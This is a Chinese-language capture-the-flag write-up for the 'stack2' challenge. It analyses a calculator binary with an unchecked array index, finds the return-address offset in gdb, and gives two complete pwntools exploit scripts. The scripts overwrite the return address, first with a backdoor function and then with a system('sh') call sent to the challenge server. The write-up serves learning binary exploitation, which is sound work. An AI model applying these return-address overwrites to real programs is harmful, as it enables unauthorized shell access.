攻防世界高手进阶区——stack2
看题目啥都没有
一,分析文件
-
checksec
发现居然存在栈溢出保护,这是以前做题没看到过的,可能会有新的知识点。
-
运行文件
貌似是一个输入数字计算平均值的程序。
-
ida打开
unsigned int m; // [esp+34h] [ebp-74h] char v13[100]; // [esp+38h] [ebp-70h] unsigned int v14; // [esp+9Ch] [ebp-Ch] v14 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); v9 = 0; puts("***********************************************************"); puts("* An easy calc *"); puts("*Give me your numbers and I will return to you an average *"); puts("*(0 <= x < 256) *"); puts("***********************************************************"); puts("How many numbers you have:"); // 有几个数字 scanf("%d", &v5); puts("Give me your numbers"); // 输入一个数字 for ( i = 0; i < v5 && (int)i <= 99; ++i ) { scanf("%d", &v7); v13[i] = v7; } for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");// 选择 scanf("%d", &v6); // 输入选择 if ( v6 != 2 ) break; puts("Give me your number"); // 加数字 scanf("%d", &v7); if ( j <= 99 ) { v3 = j++; v13[v3] = v7; } } if ( v6 > 2 ) break; if ( v6 != 1 ) return 0; puts("id\t\tnumber"); for ( k = 0; k < j; ++k ) printf("%d\t\t%d\n", k, v13[k]); } if ( v6 != 3 ) break; puts("which number to change:"); // 修改数字,存在漏洞!!!没有检查索引值的值,没有检查数组边界,可以输入返回地址的相对于数组首地址的偏移 scanf("%d", &v5); puts("new number:"); // 返回地址修改为system函数地址,和bash地址 scanf("%d", &v7); v13[v5] = v7; } if ( v6 != 4 ) break; v9 = 0; for ( m = 0; m < j; ++m ) v9 += v13[m]; } return 0; }
这里分析了一下文件,刚开始啥都没看出来,后来是看了网上的其他大佬的wp才知道这个漏洞(未检查数组边界,造成任意地址修改,这就是绕过栈溢出保护的方法吗?)
二,解题思路
-
解题的关键就是这里,这里未检查数组的索引值,可以让我们修改任意地址的内容。我们可以直接修改函数返回地址的内容。
-
现在就只需要找到相对于该数组函数返回地址的偏移就可以了。
这里我觉得是最难的一步,看了好几个wp才明白了这是怎么回事。
-
这里按照以往的惯例去ida直接找返回地址相对于数组的偏移算出来是有问题的。
这里面我算出来的偏移量为0x74,但是根据其他大佬通过动态调试算出来的偏移,这里的偏移应该是0x84。
这是怎么回事呢?
0x84要经过自己去动态调试
过程如下:
- 分析汇编代码
这段汇编代码其实就是对应下面这段C语言代码
这里也可以进一步看出来汇编的复杂。
分析一下汇编代码,这里面通过scanf将获取的值放入栈区,再将该数放入eax寄存器中,再将eax的值放入ecx寄存器,再取一个栈区的地址给edx,将一个值给eax(分析上面的汇编可以知道,这里放入eax的值就是数组的索引值),再将地址加给eax寄存器,最后将cl(ecx寄存器的低八位)的值赋给eax指向的地址。
通过这里的分析可以知道这时候eax里面存的地址便是数组起始地址。
通过这里的main endp可以知道这是main函数的结束地方,就可以得出,这里的retn时esp指向的地址便是返回地址。
在main函数和输入数组和返回retn指令的地方下断点。
输入全填一
run一下,指令执行前这里是0xd0,
指令执行后,这里是0x1,所以这里的oxffffd378就是数组起始地址,这里的0xf7ffd901什么都不代表,只是刚好数组起始地址里面存的是这个地址罢了。我就是在这里疑惑了半天,都是因为gdb不太熟练呀。菜鸡一枚。
运行到ret,esp里面存的就是返回地址。
所以偏移量是0xffffd3fc - oxffffd378 = 0x84
至于这里面为什么不是ida得到的数,是因为最后leave 和lea指令调整了栈帧,将栈底恢复到了之前的位置。栈底就变化了,偏移量自然就变化了
偏移量在这里就能得到了。
- 而且程序中存在后门函数hackhere
通过后门函数可以直接获得shell。
三,exp
from pwn import *
process_name = './stack2'
p = process('./stack2')
hackhere = [0x9b, 0x85, 0x04, 0x08] #0x0804859B
write_offset = 0x84
def change_number(offset, value):
p.sendlineafter('5. exit', '3')
p.sendlineafter('which number to change:', str(offset))
p.sendlineafter('new number:', str(value))
p.sendlineafter('How many numbers you have:', '1')
p.sendlineafter('Give me your numbers', '1')
for i in range(4):
change_number(write_offset+i, hackhere[i])
p.sendlineafter('5. exit', '5')
p.interactive()
拿着这个exp去本地运行,发现能够运行成功,但是运行在服务器就出现了问题。
报错,发现服务器没有bash终端,只有sh。(后来才知道原来这里本来是出题人的失误,发现也能做出来就没有改。)
- 于是我们得改变思路,发现程序有system函数,也可以找到sh字符串。
- 就可以通过sh和system来构造exp
from pwn import *
process_name = './stack2'
p = process('./stack2')
p = remote('111.200.241.244',60740)
hackhere = [0x9b, 0x85, 0x04, 0x08] #0x0804859B
write_offset = 0x84
system_addr = [0x50, 0x84, 0x04, 0x08] # 0x08048450
sh_addr = [0x87, 0x99, 0x04, 0x08] # 0x08048987
def change_number(offset, value):
p.sendlineafter('5. exit', '3')
p.sendlineafter('which number to change:', str(offset))
p.sendlineafter('new number:', str(value))
p.sendlineafter('How many numbers you have:', '1')
p.sendlineafter('Give me your numbers', '1')
for i in range(4):
change_number(write_offset+i, system_addr[i])
write_offset += 8
for i in range(4):
change_number(write_offset+i, sh_addr[i])
p.sendlineafter('5. exit', '5')
p.interactive()
这样就可以通过服务器了。
四,收获
- 学会了一个新的漏洞(绕过栈溢出保护)。
- 对python的编程了解了更多。
- 学会了gdb的使用。
- 学会了基础汇编语言。
总的来说,这次做题收获还是很大的。虽然难了我好几天。但是收获慢慢就不亏。哈哈哈